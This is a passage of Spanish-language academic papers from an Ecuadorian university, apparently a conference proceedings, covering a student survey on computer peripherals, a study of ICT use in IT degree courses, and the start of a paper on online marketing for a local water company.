Memoria USB: Es un dispositivo de almacenamiento que utiliza una memoria flash para guardar información. Se lo conoce también con el nombre de unidad flash USB, lápiz de memoria, lápiz USB, minidisco duro, unidad de memoria, llave de memoria, entre otros. Los primeros modelos requerían de una batería, pero los actuales ya no. Estas memorias son resistentes a los rasguños (externos), al polvo, y algunos hasta al agua, factores que afectaban a las formas previas de almacenamiento portátil, como los disquetes, discos compactos y los DVD.

2. MATERIALES Y MÉTODOS

El tipo de investigación es de carácter cualitativo realizado a los estudiantes, se aplicó una muestra de 259 estudiantes de la carrera de Ingeniería en Sistemas Computacionales y Tecnologías de la Información, durante el periodo de noviembre 2018 - marzo 2019, aplicando métodos teóricos tales como la inducción-deducción, análisis-síntesis; en el orden empírico, las encuestas y el cierre con la aplicación de métodos estadísticos-matemáticos. El desarrollo del proyecto siguió la secuencia que se describe:

5. Revisión del estado del arte sobre los periféricos microinformáticos.
6. Aplicación de las encuestas a estudiantes.
7. Implementación de la guía técnica sobre el manejo de los periféricos microinformáticos.
8. Socialización de la guía técnica sobre el manejo de los periféricos microinformáticos.

3. RESULTADOS Y DISCUSIÓN

Cabe destacar que dentro de los resultados tenemos que se implementó, una guía técnica sobre el manejo de los periféricos microinformáticos, como herramientas pedagógicas para mejorar el proceso enseñanza-aprendizaje.

Encuestas realizadas a los estudiantes de la carrera de Tecnologías de la Información e Ingeniería en Sistemas Computacionales del periodo académico noviembre 2018 - marzo 2019.

1. ¿Tiene usted conocimiento sobre los periféricos microinformáticos?

Tabla N° 1.

Alternativas	Frecuencia	Porcentaje
SI	207	80%
NO	52	20%
TOTAL	259	100%

Fuente: Encuesta realizadas a los estudiantes de la carrera de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Elaborado por: Docentes de las carreras de Tecnologías de la Información

e

Ingeniería en Sistemas Computacionales.

Análisis e interpretación.

De los estudiantes encuestados el 80 % indicaron que tienen conocimientos sobre los periféricos informáticos y el 20% respondieron que carecen de éstos.

De lo que se concluye, que es fundamental que se fortalezca los conocimientos sobre los periféricos informáticos.

2. ¿Cree usted que los estudiantes, conocen sobre el funcionamiento de los periféricos microinformáticos?

Tabla. N° 2

Alternativas	Frecuencia	Porcentaje
SI	124	48%
NO	135	52%
TOTAL	259	100%

Fuente: Encuesta realizadas a los estudiantes de la carrera de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Elaborado por: Docentes de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Análisis e interpretación.

El 48% de los estudiantes indicaron que, conocen sobre el funcionamiento de los periféricos microinformáticos y el 52% respondieron lo contrario.

De lo que se concluye, que es fundamental que los estudiantes fortalezcan los conocimientos sobre el funcionamiento de los periféricos informáticos, para mejorar el proceso de enseñanza - aprendizaje.

3. ¿Le gustaría a usted, que se implemente una guía técnica sobre el funcionamiento de los periféricos microinformáticos?

Tabla. N° 3

Alternativas	Frecuencia	Porcentaje
SI	246	95%
NO	13	5%
TOTAL	259	100%

Fuente: Encuesta realizadas a los estudiantes de la carrera de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Elaborado por: Docentes de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Análisis e interpretación.

El 95% de los estudiantes indicaron, que se implemente una guía técnica sobre el funcionamiento de los periféricos microinformáticos y el 5% respondieron lo contrario. Con lo que se determina que los estudiantes necesitan que se le implemente una guía técnica sobre el funcionamiento de los periféricos microinformáticos para fortalecer el nivel de aprendizaje.

4. ¿Cree usted que la utilización de una guía técnica, sobre el funcionamiento de los periféricos microinformáticos, ayudará a los estudiantes a mejorar el nivel de enseñanza - aprendizaje?

Tabla N 4.

Alternativas	Frecuencia	Porcentaje
---------------------	-------------------	-------------------

SI	228	88%
NO	31	12%
TOTAL	259	100%

Fuente: Encuesta realizadas a los estudiantes de la carrera de Tecnologías

de la Información e Ingeniería en Sistemas Computacionales.

Elaborado por: Docentes de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales.

Análisis e interpretación.

El 88% de los estudiantes considera que la utilización de una guía técnica, sobre el funcionamiento de los periféricos microinformáticos, ayudará a los estudiantes a mejorar el nivel de enseñanza – aprendizaje, mientras que el 12% de los encuestados manifiesta que no.

De lo que se concluye que es importante su utilización porque ayuda a mejorar el nivel de enseñanza – aprendizaje a los estudiantes de la carrera.

Implementación de la guía técnica.

Memoria

DDR3 SDRAM: es el sucesor del DDR2. Funciona a 1066 MHz, la misma velocidad que el bus frontal del Pentium 4 más rápido. Ahorra un 40% de energía. Puede transferir datos a una tasa efectiva de 800-1600 MHz

Memoria Caché

Memoria CACHE. Menor tamaño, mucho más rápida (5-6 ns) que la memoria principal.

Funcionamiento de la caché. Controlador de caché.

Los procesadores por encima de los 25 MHz suelen tener caché.

Tarjetas gráficas

Las tarjetas de vídeo conectan el ordenador con el monitor.

Constan de:

Buffer de vídeo o memoria RAM para representar la información en pantalla.

Puertos programables

Generador de caracteres ROM

Disco duro

Gran capacidad. Actualmente hasta varios tera bytes

Volumen de datos no extraíble

Sincronizador de datos

ROM-BIOS

Memorias USB

Es un pequeño dispositivo de almacenamiento que emplea memoria flash para almacenar la información

Las capacidades más habituales van desde los 512MB hasta los 32GB

Emplean la especificación USB 2.0 con una velocidad máxima teórica de 480 Mbits/s

Impresora

Al menos un interfaz paralelo

Chip de Entrada/Salida

Cantidad de datos

Estándar Centronics (36/25

Tipos: Unidireccional

Bidireccional: modos EPP, ECP

Actualmente las impresoras se conectan a los puertos USB o a una conexión de red

Teclado

Es el dispositivo estándar de entrada

Procesador de teclado

Matriz SCAN. Funcionamiento

Driver del teclado

Ratón

Normalmente conectado al interfaz serie. Otras posibilidades

Botones del ratón. Marcas

El driver del ratón. Misión

Ratones por señales de infrarrojos

4. CONCLUSIONES

En el presente trabajo, se logró determinar la importancia de los periféricos tanto de entrada y salida, en el dinamismo y celeridad de presentación de trabajo como aporte al proceso enseñanza – aprendizaje.

Los periféricos microinformáticos de la computadora son de gran beneficio, porque permite la interacción entre el usuario con los dispositivos informáticos, que actualmente se precisa conocer una serie de periféricos, que se encargan de realizar un conjunto de funciones que el ordenador por sí solo no puede realizar.

REFERENCIAS BIBLIOGRÁFICAS

Alegsa, L. (16 de Mayo de 2018). Definicion de parlantes (altavoces o bocinas). Obtenido de <http://www.alegsa.com.ar>: <http://www.alegsa.com.ar/Dic/parlante.php>

Berral Montero, I. (2010). Equipos microinformáticos. Madrid,España: Editorial Paraninfo.

Chasi Zurita, J. H. (2012). Diagnóstico en la utilización de los medios informáticos en la carrera de educación primaria semipresencial. Master's thesis, Universidad de Guayaquil. Facultad de Filosofía, Letras y Ciencias de la Educación.

Corvo, T. H. (15 de Junio de 2012). Tipos de impresoras. Obtenido de www.helmutsy.homestead.com:
https://helmutsy.homestead.com/files/computacion/Arquitectura/Tipos_de_impresora.htm

EcuRed. (15 de Junio de 2018). EcuRed. Obtenido de www.ecured.cu:
https://www.ecured.cu/Pantalla_t%C3%A1ctil

EcuRed. (18 de Junio de 2018). EcuRed. Obtenido de www.ecured.cu:

https://www.ecured.cu/Disco_duro

EcuRed. (17 de Junio de 2018). EcuRed. Obtenido de www.ecured.cu:

<https://www.ecured.cu/Disquete>

Educativa, R. (12 de 12 de 2015). Tiposde.com. Obtenido de <https://www.tiposde.com>:

https://www.tiposde.com/teclados_de_computadora.html

Garcia Robledo, P. (18 de Diciembre de 2014). Tipos de monitores. Obtenido de

www.pablogarciarobledo.wordpress.com:

<https://pablogarciarobledo.wordpress.com/2014/12/18/tipos-de-monitores/>

González, G. (13 de Octubre de 2016). Definición ABC. Obtenido de

www.definicionabc.com: <https://www.definicionabc.com/tecnologia/multitactil.php>

Jon, H. (3 de Junio de 2016). Tipos De Micrófonos. Obtenido de www.audioproduccion.com:

<https://www.audioproduccion.com/tipos-de-microfonos-la-guia-rapida-sencilla/>

Luque Berrocal, J., & Martín Alloza, J. (18 Octubre. 2013). Instalación y configuración de periféricos microinformáticos. IFCT0309. Antequera, Malaga: IC Editoria.

PEÑA, F. J. M., & LOZANO, J. M. R. . (2017). RECURSOS TECNOLOGICOS.

Revista, E. (08 de 08 de 2017). Tiposde.com. Obtenido de www.tiposde.com:

<https://www.tiposde.com/router.html>

Valentina, A. (7 de Febrero de 2012). Modalidad de Informatica. Obtenido de

www.angievalentinaonce.blogspot.com:

<https://angievalentinaonce.blogspot.com/2012/02/13-perifericos-de-comunicacion.html>

Venezuela, G. B. (16 de Noviembre de 2014). Paginas Amarillas CANTV. Obtenido de

<http://www.pac.com.ve>: <http://www.pac.com.ve/contenido/computacion/el-mouse-y-sus-partes/11308/79>

Vialfa, C. (27 de Noviembre de 2017). CCM. Obtenido de www.es.com.ne:

<https://es.ccm.net/contents/400-el-escaner>

Vialfa, C. (21 de Noviembre de 2017). CMM. Obtenido de www.es.ccm.net:

<https://es.ccm.net/contents/367-tarjetas-de-red>

Yepez, E. (1 de Septiembre de 2012). Tarjeta de red tipo y característica. Obtenido de [www.tarjetasdered-tiposycaracteristicas: https://tarjetasdered-tiposycaracteristicas.blogspot.com/](https://tarjetasdered-tiposycaracteristicas.blogspot.com/)

BIOGRAFÍA DE AUTORES

Edwin Antonio Mero Lino, Ing. en Computación y Redes, Magister en Educación Informática, docente de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí. Jipijapa-Manabí-Ecuador.

María Mercedes Ortis Hernández, Ingeniera en Sistemas Informático, Magister en Informática Empresarial, docente de la Ingeniería en Computación y Redes de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí. Jipijapa-Manabí-Ecuador.

Kleber Germiniano Marcillo Parrales, Ing. Eléctrico, Magister en Gerencia Educativa, docente de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí. Jipijapa-Manabí-Ecuador.

Franklin Antonio Merchán Parrales, Ing. Eléctrico, docente de las carreras de Tecnologías de la Información e Ingeniería en Sistemas Computacionales de la Facultad de Ciencias Técnicas de la Universidad Estatal del Sur de Manabí. Jipijapa-Manabí-Ecuador.

IMPORTANCIA DEL USO DE LAS TICS EN LAS ASIGNATURAS DE PROFESIONALIZACIÓN EN LA CARRERA DE TECNOLOGÍA DE LA INFORMACIÓN

Ing. Luis Fernando Lucio Villacreses. Mg.

Ing. José Efraín Álava Cruzatty. Mg.

Ing. Vicente Fray Romero Castro. Mg.

Ing. Cristhian José Álava Mero. Mg.

Lcdo. Marco Antonio Toala Pilay. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

luis.lucio@unesum.edu.ec / ferlucio@outlook.com

RESUMEN

El uso de las tecnologías de la información y comunicación-TIC forman parte de nuestro diario vivir, y crean una sinergia entre el hombre y el computador, con un celular, y otros medios, que facilitan la búsqueda de información o simplemente crear una línea de comunicación entre dos personas o múltiples usuarios de una comunidad en particular. Si esta tecnología es debidamente utilizada puede dar prestaciones favorables tanto para uso personal y/o formación profesional de un estudiante. Por lo expuesto la presente investigación se ha planteado indagar el nivel de percepción, conocimiento y aplicación de las TIC que tienen los estudiantes cursan la Carrera de Tecnologías de la Información y la Carrera de Sistemas Computacionales de la Universidad Estatal del Sur de Manabí. Para este efecto se tomó como muestra a 193 estudiantes de un total de 288 alumnos que cursan entre tercer y noveno semestre las carreras ya mencionadas. Entre los resultados más importantes se tiene que el 92,40% de los encuestados están de acuerdo y totalmente de acuerdo que las TIC fomentan la implicación del estudiante en los procesos de enseñanza y aprendizaje, mientras solo el 95,50% tienen conocimiento entre medio y alto en cómo acceder a la búsqueda de información, y se tiene que el 94,40% aplica el conocimiento adquirido. Lo expuesto determinó la necesidad de establecer entre estudiantes y profesores que conocen del tema, la metodología a utilizarse la misma que se debe incluir en los syllabus de las carreras en estudio.

PALABRAS CLAVE: tecnologías, información y comunicación, enseñanza – aprendizaje, formación profesional.

ABSTRACT

The use of information and communication technologies-ICT are part of our daily life, and create a synergy between man and computer, with a cell phone, and other means, which facilitate the search for information or simply create a line of information. Communication between two people or multiple users of a particular community. If this technology is properly used it can give favorable benefits both for personal use and / or professional training of a student. For this reason, the present investigation intends to investigate the level of perception, knowledge and application of ICT that students have in the Career of Information Technology and the Career of Computational Systems of the State University of the South of Manabí. For this purpose, 193 students from a total of 288 students taking courses between the third and the ninth semester were taken as a sample. Among the most important results is that 92.40% of the respondents agree and totally agree that ICT encourages the involvement of the student in the teaching and learning processes, while only 95.50% have knowledge in between and high on how to access the information search, and 94.4% have the knowledge acquired. The foregoing determined the need to establish among students and professors who know the subject, the methodology to be used, the same that should be included in the syllabus of the careers under study.

KEYWORDS: technologies, information and communication, teaching - learning, professional training

1. INTRODUCCIÓN

La sociedad vive un proceso de cambio acelerado que está afectando no solo a la forma en que la comunidad se ha organizado hasta ahora, sino también al sistema educativo. En pocos años se producen transformaciones que, en épocas pretéritas, requirieron varios años, incluso siglos. Un gran cambio que afectó a la historia de la humanidad fue la aparición de la lectoescritura, que significó aprender a vivir de acuerdo con las exigencias del proceso de alfabetización: “aprender a leer”, “leer para aprender”, “leer para estudiar e investigar”; en consecuencia, “leer para vivir” **Fuente especificada no válida.**

La sociedad del conocimiento implica el creciente desarrollo de la tecnología, un nuevo lenguaje, pues se está viviendo un cambio estructural y de paradigmas que están modificando los fundamentos de la sociedad y abriendo paso a otra, que implica nuevas formas de comprensión e interpretación de la realidad. Desde esta perspectiva de dinamismo y cambio, el ser social requiere estar preparado para hacerle frente, desarrollando competencias que le permitan tomar conciencia de sí mismo y de su contexto, descubriendo su sentido de

pertenencia, la finalidad de su quehacer y las necesidades de transformación que requiere para equilibrarse y reequilibrarse continuamente, tanto en conocimientos, como en comportamientos y actitudes, lo que se vincula con la capacidad de seguir aprendiendo siempre

Fuente especificada no válida.

En el contexto expuesto están implícita las redes sociales y explica (Gonzalesz, 2017) que el sistema de redes sociales es parte del régimen que permea la vida cotidiana en sus diferentes ámbitos y niveles. Al tomar en cuenta las redes sociales en el espacio educativo, se está hablando de Internet y sus múltiples posibilidades de comunicar, difundir, masificar e intercomunicar la información.

Se debe considerar que una red social es una estructura formada por personas conectadas y unidas entre sí por algún tipo de relación o interés (parentesco, amistad, gustos, tareas, entre otros). En sentido amplio, el término red social indica los servicios de Internet que permiten e impulsan relaciones entre las personas.

No obstante, se debe tener en cuenta que Internet es una red de redes, conformada por máquinas, y no por personas. Más tarde, la Web, sobre todo la Web 2.0, posibilitó la dimensión social, prácticamente universal, de Internet, por la necesidad y deseo de compartir experiencias.

El funcionamiento de las redes sociales se establece mediante acciones de los usuarios, que interactúan entre sí, quienes deben registrarse y crear una cuenta. Una vez que los usuarios han establecido un vínculo, pueden relacionarse a través de diversas prácticas, que, por sí mismas, demuestran el valor de las redes sociales para un proceso de enseñanza - aprendizaje acorde, actual y contextualizado con las necesidades y requerimientos de nuestra realidad socio-cultural.

Los participantes de este proceso comunicativo a través de las redes son los profesores y los estudiantes. Los primeros son guías, facilitadores, formadores; los segundos son activos, autónomos, colaborativos, innovadores. Entre las acciones que desarrollan estos usuarios, se mencionan algunas de las más utilizadas:

Compartir contenido: documentos, fotos, vídeos, enlaces a páginas web, música, noticias, etc.

Enviar mensajes a otros usuarios, que pueden ser públicos o de difusión limitada, que se ajustan a distintos niveles de privacidad.

Comentar el contenido expuesto por otro usuario.

Hablar en tiempo real con uno o más usuarios mediante chat o algún sistema semejante de conversión grupal.

Participar en foros.

Crear grupos de trabajo o sociales para determinados fines (tarea, investigación, trabajo grupal a distancia, compartir etapas de un proyecto); entre otras.

Históricamente, la información había sido difícil de alcanzar; pero, en la actualidad está cada vez más disponible y accesible. Hasta cierto tiempo atrás, la función de entregar conocimientos provenía de forma protagónica del profesor, del maestro, lo que simplificaba y hacía exitoso el rol formativo-social de la escuela y de la universidad.

Se entenderá que todo indica que todo docente debe proponerse y dirigir sus esfuerzos hacia la implicación de sus dirigidos para desarrollar habilidades que originen pensamientos constructivistas y motiven una adecuada gestión de la información; en este proceso debe estar implícito ampliar la capacidad y comprensión lectora, y la producción de textos escritos como ensayos, análisis de contenidos e investigaciones, así como discursos orales que motiven su perfección ante el público. Es así que **Fuente especificada no válida.** manifiesta que el problema para la educación no es dónde encontrar la información, sino cómo “aprender a seleccionarla, a evaluarla, a interpretarla, a clasificarla y a usarla”. Y por su parte **Fuente especificada no válida.** expresa que el proceso educativo debe acrecentar las “funciones cognitivas superiores”: resolver problemas, planificar, crear, comprender (Gardner, 1999, p. 75).

El artículo publicado por **Fuente especificada no válida.** se manifiesta que una de las exigencias del Sistema de Educación Superior es el cambio demandado en el modelo educativo tradicional hacia enfoques basados en el constructivismo. Se pide a las instituciones universitarias abandonar un modelo centrado en la enseñanza, hacia otro basado más en el estudiante y en el desarrollo de su aprendizaje. Para ello se requiere que profesores y estudiantes universitarios asuman el trabajar para este modelo educativo, pero también herramientas, recursos, estrategias, metodologías, etc. que redunden en la mejora de las prácticas educativas hacia la dirección deseada. En este sentido, consideramos que las TIC pueden aportar flexibilidad a los procesos de enseñanza y aprendizaje, y contribuir a la construcción de la nueva Universidad en una sociedad del conocimiento y el aprendizaje.

Alcance de la investigación

El alcance de la presente investigación es de carácter exploratorio ya que ha sido poco estudiado el uso de las tecnologías de la información en las unidades indagadas, además es necesario abordar su estudio con la finalidad de incidir su inclusión en cada uno de los syllabus de las asignaturas que se dictan en las carreras de Tecnología de la Información que tiene como eje transversal las tecnologías emergentes y para la Carrera de Sistemas Computacionales el eje transversal es el análisis, diseño y administración de sistemas. En ambos casos se debe apuntar al menos a las siguientes competencias que los profesionales en formación deben tener:

- a) Reconocer el uso y la aplicación de todas las funciones básicas, que permiten la creación de una hoja de cálculo y su aplicabilidad en el campo económico.
- b) Aplicar y utilizar fórmulas mediante casos propios para su profesión.
- c) Comprender los alcances de las NTIC, y cómo influyen en el campo profesional.
- d) Utilizar aplicaciones Web y familiarizarse con el entorno de la Web 2.0
- e) Crear sitios Web con NTICs, e implementar herramientas Web 2.0, logrando un trabajo colaborativo en su aplicación.
- f) Utilizar las herramientas disponibles en la Web, así como un análisis de casos mediante Google Analytics.

2. OBJETIVOS

Objetivo General

Determinar la importancia del uso de las Tics en las asignaturas de profesionalización en la Carrera de Tecnologías de la Información y la Carrera de Sistemas Computacionales.

Objetivos específicos

- Determinar las actitudes, conocimientos y usos de las TIC percibida por los estudiantes de la Carrera de Tecnologías de la Información y Carrera de Sistemas Computacionales de la Universidad Estatal del Sur de Manabí.
- Establecer los retos de las carreras cursadas por los estudiantes encuestados a fin de incorporar el uso de las TIC en los procesos de enseñanza aprendizaje.

3. MATERIALES Y MÉTODOS

La investigación estuvo dirigida a la población estudiantil de la Carrera de Tecnologías de la Información y la Carrera de Sistemas Computacionales, que cursan entre tercer y noveno semestre según se señala en el siguiente cuadro:

Cuadro No 1. Población y muestra

Elaborado por Luis Fernando Lucio Villacreses

Carrera	Semestre	Paralelo	Hombre	Mujeres	Total estudiantes
Tecnologías de la información	III	A	18	10	28
		B	19	8	27
		C	17	11	28
		D	19	4	23
	IV	A	9	15	24
		B	14	9	23
		C	14	6	20
	V	A	11	22	33
		B	21	13	34
		C	12	10	22
Sistemas computacionales	VI	N/A	21	15	36
	VII	N/A	18	7	25
	VIII	N/A	19	20	39
	IX	N/A	19	7	26
Población total					388
Margen de error					5%
Nivel de confianza					95%
Tamaño de la muestra					193

El estudio requerido conllevó el uso del cuestionario validado por el Departamento de Métodos de Investigación y Diagnóstico en Educación de la Universidad de Murcia, para el estudio de la actitud, el conocimiento y el uso de TIC (ACUTIC) en Educación. La encuesta está compuesta por 31 ítems que se distribuyen entre tres dimensiones: actitudes ante el uso de las TIC (del ítem 1 al 7); conocimiento sobre TIC (del ítem 8 al 19); uso que se realiza de las TIC (del ítem 20 al 31). Cada una de estas dimensiones está acompañada de una escala tipo Likert de cinco valores ajustada a las características de la dimensión, siendo 1 el valor de menor acuerdo con el ítem y 5 el de mayor acuerdo.

4. RESULTADOS Y DISCUSIÓN

Actitudes de los estudiantes ante el uso de las TIC: La opinión de los estudiantes que están de acuerdo y totalmente de acuerdo en la necesidad de incorporar las tecnologías de la información en los procesos de enseñanza aprendizaje alcanza una sumatoria de 91,10% y demarca que el docente debe conservar el uso de las tic para mejorar la calidad de los procesos de aprendizaje, lograr competencias profesionales, y tomarlas como un medio para flexibilizar la comunicación cos sus estudiantes en post de lograr las metas propuestas en clases.

Lo expuesto corrobora lo manifestado por los autores **Fuente especificada no válida.** quienes indican que es necesario que profesores y estudiantes universitarios asuman el uso de herramientas, recursos, estrategias, metodologías, etc. que redunden en la mejora de las prácticas educativas hacia la dirección deseada. Así mismo esto es corroborado por (Gonzalez,

2017) quien valora el uso de las redes sociales como un medio para el intercambio de información y logro de metas propuestas.

Visto el análisis anterior, se debe indicar que las TIC son utilizadas de forma parcial en el aula de clases y no se visibilizan o se definen de manera clara en los syllabus de cada asignatura de profesionalización, sin embargo esto puede ser corregido oportunamente para el periodo académico Mayo 2019 – Octubre 2019, acogiendo lo expuesto por los autores antes nombrados y las experiencias exitosas ya vivenciadas en clases, como el uso de Google drive para intercambio y control de manejo de información, aperturas de canales de YouTube para la creación de tutoriales que motiva a los estudiantes a presentar trabajos innovadores y cultivar su máxima expresión para la exposición de contenidos.

Conocimientos de las TIC que poseen los estudiantes: Los resultados encontrados indican que un promedio de 54,77% tienen conocimiento alto y muy alto sobre las TIC, particularmente sobre herramientas de usuarios y programas como Word, PowerPoint, buscadores de información, uso de sistemas de comunicación como Foros, Chat, Email, plataformas 2.0 como el YouTube y programas de edición de imágenes, videos. Es importante indicar también que en promedio el 29,96% de los estudiantes encuestados posee un conocimiento medio sobre las TIC.

Por lo expuesto, debe entenderse que los estudiantes no están fuera del proceso de comprensión e interpretación de la realidad actual y en este contexto el uso de las tecnologías de la información permite la búsqueda de ser un actor social que requiere estar preparado para asumir competencias para equilibrarse y reequilibrarse continuamente, tanto en conocimientos, como en comportamientos y actitudes, lo que se vincula con la capacidad de seguir aprendiendo siempre, con esto se indica estar de acuerdo con lo establecido por **Fuente especificada no válida..**

En este apartado se debe indicar que los estudiantes si conocen las prestaciones que tienen las TIC, lo cual no necesariamente ha sido motivada desde el aula de clases, depende más de la experiencia y la actitud para estar al día en el avance de la tecnología. A pesar de lo expuesto está pendiente valorar de manera colectiva las TIC que pueden facilitar soluciones prácticas y por ende crear una comunidad de aprendizaje que lleve a determinar las herramientas que se utilizarán en clases para el logro de resultados esperados, tanto en los procesos de enseñanza – aprendizaje, como en el logro de competencias de cada estudiante. Lo expuesto, finalmente ayudará a detallar la metodología a utilizarse dentro de cada syllabus de profesionalización.

Uso de las TIC por parte de los estudiantes: Las TIC más utilizadas por los estudiantes encuestados está atada a la presentación de trabajos escritos, que previamente implican la búsqueda e intercambio de información, así como la revisión de ayudas virtuales a través de tutoriales como los que se encuentran en YouTube. En este contexto, el 53% usa siempre y/o frecuentemente dichas herramienta, por su parte el 37% las utiliza a veces y/o en pocas ocasiones, y el 10% no las utiliza.

Se entenderá que todo docente debe dirigir sus esfuerzos hacia sus estudiantes para desarrollar conocimientos y habilidades, que, vinculadas con una actitud adecuada, originen pensamientos constructivistas y motiven una adecuada gestión de la información, excelente capacidad y comprensión lectora, y la producción de textos escritos como ensayos, análisis de casos, contenidos e investigaciones, así como discursos orales que motiven su perfección ante el público. Se concuerda entonces con **Fuente especificada no válida**, quien manifiesta que el problema para la educación no es dónde encontrar la información, sino cómo “aprender a seleccionarla, a evaluarla, a interpretarla, a clasificarla y a usarla”. Y por su parte **Fuente especificada no válida**, expresa que el proceso educativo debe acrecentar las “funciones cognitivas superiores”: resolver problemas, planificar, crear, comprender (Gardner, 1999, p. 75).

En este apartado se debe indicar que los estudiantes manejan su propia creatividad a la hora de presentar un trabajo, lográndose visibilizar el tipo de TIC que utiliza y como va mejorando su forma de expresar ideas, contenidos, conclusiones, propuestas. A pesar de lo expuesto no se ha conseguido sacar provecho de estas experiencias para valorar adecuadamente la importancia y resultados alcanzados con el uso de las TIC en los procesos de enseñanza – aprendizaje, ni tampoco se ha instaurado espacios de intercambio de experiencias para ampliar su uso dentro del aula a fin de mejorar las competencias de todos los estudiantes. Caso similar a los puntos

tratados en los resultados anteriores, sería importante definir en los syllabus de las asignaturas el intercambio de experiencias entre estudiantes de los diferentes semestres.

5. CONCLUSIONES

El estudio realizado ha permitido establecer las siguientes conclusiones más relevantes:

- Es necesario definir una metodología de uso de las TIC dentro de las Carreras de Tecnologías de la Información y la Carrera de Sistemas Computacionales, la misma que debe ser sustraída de un proceso participativo entre estudiantes seleccionados y los docentes con mayor experticia en el tema, para su posterior explicación metodológica a la planta docente y como se deben incluir en los syllabus respectivos.
- Caso aparte del cumplimiento de las metodologías establecidas en los syllabus de profesionalización, se debe tomar en cuenta la experticia de los estudiantes que más se destaquen, con la finalidad de considerarlos como asesores de sus compañeros para la mejora de competencias propias al realizar prácticas de docencia y promover trabajos autónomos y prácticas de aprendizaje que motivan el desarrollo de las competencias de sus compañeros de aula.

REFERENCIAS BIBLIOGRÁFICAS

- Brunner, J. 2. (2000). Globalización y el futuro de la educación: Tendencias, desafíos,. Seminario sobre Prospectiva de la Educación en la Región de América Latina y el Caribe, 14. Santiago, Chile.
- Carmona, C. B. (2017). Una mirada histórica del impacto de las TIC en la sociedad del conocimiento en el contexto nacional actual. Innovación Académica MINEDUC-UMCE: MECESUP UMC.
- García. (2014). “Prólogo” a Blended Learning en Educación. En J. García Carrasco. Madrid.
- Gardner, h. 1. (1999). Estructuras de la mente: La teoría de las inteligencias múltiples. México: Fondo de Cultura Económica.
- Mella, E. 2. (2003). “La educación en la sociedad del conocimiento y del riesgo”. Enfoques educativos.

Mirete Ruiz, A. B., García-Sánchez, F. A., & Pina, H. (2015). Cuestionario para el estudio de la actitud, el conocimiento y el uso de TIC (ACUTIC) en Educación Superior. Estudio de fiabilidad y validez. Revista Interuniversitaria de Formación del Profesorado, 75-89.

BIOGRAFÍA DE AUTORES

Luis Fernando Lucio Villacreses, Ingeniero Forestal, Máster en Educación y Desarrollo Social, Diploma en Gestión y Formulación de Proyectos, Docente de la Universidad Estatal del Sur de Manabí, Carrera de Tecnologías de la Información.

José Álava Cruzatty, Ingeniero en Telecomunicaciones, Magister en Telecomunicaciones, Docente en la Universidad Estatal del Sur de Manabí en la carrera de Ingeniería de Sistemas Computacionales.

Vicente Fray Romero Castro, MSIG, Magister en Sistemas de Información Gerencial, Ingeniero en Sistemas. Docente de la Universidad Estatal del Sur de Manabí

Marco Antonio Toala Pilay, Licenciado en Cultura Física, Magister en Pedagogía de la Cultura Física, Docente de la Universidad Estatal del Sur de Manabí (UNESUM).

MARKETING ONLINE PARA LA EMPRESA PURIFICADORA DE AGUA

“AQUA SANTA” DEL CANTÓN JIPIJAPA

Julissa Eufemia Marcillo Valverde,

Joselyn Teresa Reyes Neira,

María Rosa Romero Aguilar,

Miguel Ángel Rodríguez Guaranda,

Ing. Yanina Holanda Campozano Pilay. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

La tecnología sin duda ha tenido un gran avance y crecimiento a lo largo de estos años por lo que ha llegado a ocupar un lugar importante en la sociedad de manera que su impacto ha influido en los diferentes ámbitos de la sociedad, sin embargo, es importante destacar el gran aporte que ha tenido el ámbito empresarial y los cambios que ha traído consigo en cuanto a las modalidades de trabajo de muchas empresas a nivel mundial. Por lo que nos aporta que en la actualidad numerosas empresas han visto la necesidad de adaptarse a éstos nuevos cambios propuestos por las tecnologías emergentes, razón por la cual la mayoría ha optado por innovar desde la elaboración de sus productos hasta la forma en que los comercializan, dando origen a nuevas formas de compra-venta, entre las cuales se encuentra el comercio electrónico y el marketing online. Para profundizar más la investigación se utilizaron metodologías teóricas como: histórico-lógico; inducción-deducción a su vez los métodos empíricos como es el bibliográfico. Cabe destacar que el nivel de competitividad entre empresas ha incrementado evidentemente desde que las nuevas tecnologías han ocupado un lugar en el ámbito empresarial, lo cual concluye que los mercadólogos desempeñan un rol fundamental puesto que buscan estrategias eficaces para que el producto que comercializa su empresa capte la atención del cliente y éste lo adquiera; muchos de ellos afirman que una de las mejores estrategias es el uso del marketing online.

PALABRAS CLAVE: competitividad; empresas; tecnología.

ABSTRACT

Technology has undoubtedly had a great advance and growth over these years so it has come to occupy an important place in society so that its impact has influenced the different areas of society, however, it is important to highlight the great contribution that the business world has made and the changes that it has brought with it in terms of the working methods of many

companies worldwide. For what it gives us that today many companies have seen the need to adapt to these new changes proposed by emerging technologies, which is why most have opted to innovate from the development of their products to the way they market them , giving rise to new forms of buying and selling, among which is electronic commerce and online marketing. To deepen more the investigation theoretical methodologies were used as: historical-logical; induction-deduction in turn empirical methods such as bibliography. It should be noted that the level of competitiveness between companies has obviously increased since the new technologies have taken a place in the business world, which concludes that marketers play a fundamental role since they look for effective strategies so that the product sold by their company captures the client's attention and he acquires it; Many of them say that one of the best strategies is the use of online marketing.

KEYWORDS: business; competitiveness; technology.

1. INTRODUCCIÓN

“AQUA SANTA” es una empresa purificadora de agua, creada en Ecuador en el año 2004, ubicada en el cantón Jipijapa km 1.5 vía a Noboa, se dedica a la purificación y distribución de agua en diferentes presentaciones; surgió en virtud del emprendimiento de su propietario el señor José Gómez Pionce, quien vio la necesidad de contribuir a la ciudadanía con un producto vital y de calidad para el consumo humano: el agua.

Desde sus inicios se valió de la publicidad por medio de radio, periódico y como auspiciante de eventos deportivos para dar a conocer su producto en sus diversas presentaciones. Actualmente lleva laborando en el mercado nacional durante 15 años. Dentro de los clientes fijos y potenciales de la empresa se encuentran las instituciones del estado, instituciones educativas, empresas privadas, PYMES y comunidad en general.

